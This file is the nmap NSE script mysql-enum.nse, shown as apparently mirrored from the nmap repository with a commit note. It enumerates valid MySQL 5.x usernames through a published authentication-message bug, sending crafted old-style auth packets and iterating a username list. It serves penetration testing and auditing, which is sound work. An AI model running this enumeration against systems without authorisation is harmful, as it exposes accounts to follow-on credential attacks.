1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00
Files
nmap/scripts/mysql-enum.nse
dmiller f37ac44380 Move brute.Account to creds.Account
In addition to fitting better (brute library is the verb, creds library
is the noun), this will allow creds.lua to use creds.Account internally
where necessary (see subsequent commits)

Also change old references to string argument "OPEN" into
creds.State.VALID.
2014-09-23 05:23:13 +00:00

115 lines
3.4 KiB
Lua

local bin = require "bin"
local brute = require "brute"
local creds = require "creds"
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local openssl = stdnse.silent_require "openssl"
description = [[
Performs valid-user enumeration against MySQL server using a bug
discovered and published by Kingcope
(http://seclists.org/fulldisclosure/2012/Dec/9).
Server version 5.x are susceptible to an user enumeration
attack due to different messages during login when using
old authentication mechanism from versions 4.x and earlier.
]]
---
-- @usage
-- nmap --script=mysql-enum <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 3306/tcp open mysql syn-ack
-- | mysql-enum:
-- | Accounts
-- | admin:<empty> - Valid credentials
-- | test:<empty> - Valid credentials
-- | test_mysql:<empty> - Valid credentials
-- | Statistics
-- |_ Performed 11 guesses in 1 seconds, average tps: 11
--
-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
portrule = shortport.port_or_service(3306, "mysql")
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
arg_timeout = (arg_timeout or 5) * 1000
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
return true
end,
login = function (self, user, pass) -- pass is actually the username we want to try
local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then
if string.find(response,"is blocked because of many connection errors") then
local err = brute.Error:new( response )
err:setAbort( true )
return false, err
end
return false,brute.Error:new(response)
end
stdnse.debug1( "Trying %s ...", pass)
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
local err
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
status, response = self.socket:receive_bytes(0)
if not status then
return false,brute.Error:new( "Incorrect username" )
end
if string.find(response,"Access denied for user") == nil then
-- found it
return true, creds.Account:new( pass, nil, creds.State.VALID)
else
return false,brute.Error:new( "Incorrect username" )
end
end,
disconnect = function( self )
self.socket:close()
return true
end
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options:setOption("passonly", true )
engine:setPasswordIterator(brute.usernames_iterator())
engine.options.script_name = SCRIPT_NAME
engine.options:setTitle("Valid usernames")
status, result = engine:start()
return result
end